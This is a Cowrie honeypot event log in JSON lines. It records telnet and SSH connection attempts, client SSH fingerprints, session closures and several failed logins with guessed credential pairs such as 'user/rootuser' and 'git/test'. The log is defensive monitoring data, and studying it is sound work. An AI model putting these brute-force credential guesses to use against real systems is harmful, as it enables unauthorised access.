{"eventid":"cowrie.session.closed","duration":37.76671385765076,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:35.948591Z","src_ip":"161.97.105.174","session":"b72e7ceb27f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.29737067222595,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:36.188976Z","src_ip":"161.97.105.174","session":"c0fcbe4bf9ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.644129037857056,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:37.222389Z","src_ip":"161.97.105.174","session":"9d65438a6666","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":44162,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfe572c3bc5d","protocol":"telnet","message":"New connection: 161.97.105.174:44162 (159.203.135.109:23) [session: dfe572c3bc5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:38.330144Z"}
{"eventid":"cowrie.session.closed","duration":33.014846086502075,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:44.182824Z","src_ip":"161.97.105.174","session":"7e348171e226","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":59548,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4c70bf5cb05","protocol":"ssh","message":"New connection: 141.11.21.145:59548 (159.203.135.109:22) [session: b4c70bf5cb05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:44.710400Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:44.789878Z","src_ip":"141.11.21.145","session":"b4c70bf5cb05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":59550,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc808678a803","protocol":"ssh","message":"New connection: 141.11.21.145:59550 (159.203.135.109:22) [session: dc808678a803]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:44.865463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:44.870355Z","src_ip":"141.11.21.145","session":"dc808678a803","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:44.948056Z","src_ip":"141.11.21.145","session":"dc808678a803","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ksy","password":"ksy","message":"login attempt [ksy/ksy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:45.185764Z","src_ip":"141.11.21.145","session":"dc808678a803","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.79710054397583,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:45.538623Z","src_ip":"161.97.105.174","session":"d1c34468ebda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:46.265701Z","src_ip":"141.11.21.145","session":"dc808678a803","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":52602,"dst_ip":"159.203.135.109","dst_port":23,"session":"9185e826a50b","protocol":"telnet","message":"New connection: 161.97.105.174:52602 (159.203.135.109:23) [session: 9185e826a50b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:46.437035Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":52612,"dst_ip":"159.203.135.109","dst_port":23,"session":"33c10a1e0c42","protocol":"telnet","message":"New connection: 161.97.105.174:52612 (159.203.135.109:23) [session: 33c10a1e0c42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:46.593991Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":52624,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1ed8344d8ab","protocol":"telnet","message":"New connection: 161.97.105.174:52624 (159.203.135.109:23) [session: b1ed8344d8ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:47.273424Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":52626,"dst_ip":"159.203.135.109","dst_port":23,"session":"543ef0ce1d9a","protocol":"telnet","message":"New connection: 161.97.105.174:52626 (159.203.135.109:23) [session: 543ef0ce1d9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:48.332544Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":56496,"dst_ip":"159.203.135.109","dst_port":23,"session":"52a5b64f2e8e","protocol":"telnet","message":"New connection: 161.97.105.174:56496 (159.203.135.109:23) [session: 52a5b64f2e8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:48.618786Z"}
{"eventid":"cowrie.session.closed","duration":35.800570011138916,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:48.699650Z","src_ip":"161.97.105.174","session":"c8fc6dd5e159","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.885931730270386,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:50.311336Z","src_ip":"161.97.105.174","session":"919cab63dfd4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.819047689437866,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:52.739554Z","src_ip":"161.97.105.174","session":"9abb8ae07e9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.05502939224243,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:52.804520Z","src_ip":"161.97.105.174","session":"26896418b5df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":56502,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7c4902f215a","protocol":"telnet","message":"New connection: 161.97.105.174:56502 (159.203.135.109:23) [session: a7c4902f215a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:53.176200Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":56514,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e8f3d9783b4","protocol":"telnet","message":"New connection: 161.97.105.174:56514 (159.203.135.109:23) [session: 2e8f3d9783b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:53.345812Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":56522,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ed9a420c205","protocol":"telnet","message":"New connection: 161.97.105.174:56522 (159.203.135.109:23) [session: 2ed9a420c205]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:57.355877Z"}
{"eventid":"cowrie.session.closed","duration":36.887163400650024,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:57.873125Z","src_ip":"161.97.105.174","session":"b192ac1a0f3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.393086671829224,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:59.858935Z","src_ip":"161.97.105.174","session":"2d71f749e7af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":51822,"dst_ip":"10.17.0.5","dst_port":22,"session":"f24b7c6f719e","protocol":"ssh","message":"New connection: 193.32.162.145:51822 (10.17.0.5:22) [session: f24b7c6f719e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:00.675970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:00.680473Z","src_ip":"193.32.162.145","session":"f24b7c6f719e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:00.791453Z","src_ip":"193.32.162.145","session":"f24b7c6f719e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"bot","message":"login attempt [sol/bot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:01.125834Z","src_ip":"193.32.162.145","session":"f24b7c6f719e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":33476,"dst_ip":"159.203.135.109","dst_port":23,"session":"de7d5a0580e1","protocol":"telnet","message":"New connection: 161.97.105.174:33476 (159.203.135.109:23) [session: de7d5a0580e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:01.534761Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:02.235191Z","src_ip":"193.32.162.145","session":"f24b7c6f719e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.219.100.220","src_port":38964,"dst_ip":"10.17.0.5","dst_port":22,"session":"2bbcf0a271bf","protocol":"ssh","message":"New connection: 154.219.100.220:38964 (10.17.0.5:22) [session: 2bbcf0a271bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:03.235031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:03.244618Z","src_ip":"154.219.100.220","session":"2bbcf0a271bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:03.455941Z","src_ip":"154.219.100.220","session":"2bbcf0a271bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"rootuser","message":"login attempt [user/rootuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:04.327977Z","src_ip":"154.219.100.220","session":"2bbcf0a271bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":33478,"dst_ip":"159.203.135.109","dst_port":23,"session":"b86e487e2b42","protocol":"telnet","message":"New connection: 161.97.105.174:33478 (159.203.135.109:23) [session: b86e487e2b42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:04.911383Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:05.541557Z","src_ip":"154.219.100.220","session":"2bbcf0a271bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":33482,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf5bbccd00c4","protocol":"telnet","message":"New connection: 161.97.105.174:33482 (159.203.135.109:23) [session: bf5bbccd00c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:05.656961Z"}
{"eventid":"cowrie.session.closed","duration":36.189733266830444,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:05.769041Z","src_ip":"161.97.105.174","session":"9652db12ab47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.18922662734985,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:09.519015Z","src_ip":"161.97.105.174","session":"b25d3cca9864","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.86149525642395,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:10.191512Z","src_ip":"161.97.105.174","session":"dfe572c3bc5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.130.174","src_port":51436,"dst_ip":"10.17.0.5","dst_port":22,"session":"16d70dc9c90c","protocol":"ssh","message":"New connection: 152.32.130.174:51436 (10.17.0.5:22) [session: 16d70dc9c90c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:12.763233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:12.771453Z","src_ip":"152.32.130.174","session":"16d70dc9c90c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:12.987978Z","src_ip":"152.32.130.174","session":"16d70dc9c90c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00128030776978,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:13.242122Z","src_ip":"69.9.141.39","session":"90dbacd0a080","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"git","password":"test","message":"login attempt [git/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:13.881620Z","src_ip":"152.32.130.174","session":"16d70dc9c90c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:15.101254Z","src_ip":"152.32.130.174","session":"16d70dc9c90c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":43910,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b0261352f2c","protocol":"telnet","message":"New connection: 161.97.105.174:43910 (159.203.135.109:23) [session: 9b0261352f2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:16.153235Z"}
{"eventid":"cowrie.session.closed","duration":32.63623285293579,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:19.230100Z","src_ip":"161.97.105.174","session":"33c10a1e0c42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.64560055732727,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:21.082488Z","src_ip":"161.97.105.174","session":"9185e826a50b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":38416,"dst_ip":"159.203.135.109","dst_port":23,"session":"fcc3a5d7710d","protocol":"telnet","message":"New connection: 161.97.105.174:38416 (159.203.135.109:23) [session: fcc3a5d7710d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:21.246435Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":38432,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f92cc28e582","protocol":"telnet","message":"New connection: 161.97.105.174:38432 (159.203.135.109:23) [session: 0f92cc28e582]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:21.272476Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":38448,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e3fd0090f6e","protocol":"telnet","message":"New connection: 161.97.105.174:38448 (159.203.135.109:23) [session: 2e3fd0090f6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:21.694704Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":38450,"dst_ip":"159.203.135.109","dst_port":23,"session":"2bb3f7c2c040","protocol":"telnet","message":"New connection: 161.97.105.174:38450 (159.203.135.109:23) [session: 2bb3f7c2c040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:21.956258Z"}
{"eventid":"cowrie.session.closed","duration":34.55711388587952,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:22.889548Z","src_ip":"161.97.105.174","session":"543ef0ce1d9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.58524513244629,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:26.203923Z","src_ip":"161.97.105.174","session":"52a5b64f2e8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.01965284347534,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:26.292951Z","src_ip":"161.97.105.174","session":"b1ed8344d8ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.969170570373535,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:28.145229Z","src_ip":"161.97.105.174","session":"a7c4902f215a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.07178616523743,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:28.417502Z","src_ip":"161.97.105.174","session":"2e8f3d9783b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":47570,"dst_ip":"159.203.135.109","dst_port":23,"session":"1dfaf56cade6","protocol":"telnet","message":"New connection: 161.97.105.174:47570 (159.203.135.109:23) [session: 1dfaf56cade6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:29.714557Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":37256,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee1e6af000ed","protocol":"ssh","message":"New connection: 202.125.94.71:37256 (10.17.0.5:22) [session: ee1e6af000ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:30.169181Z"}
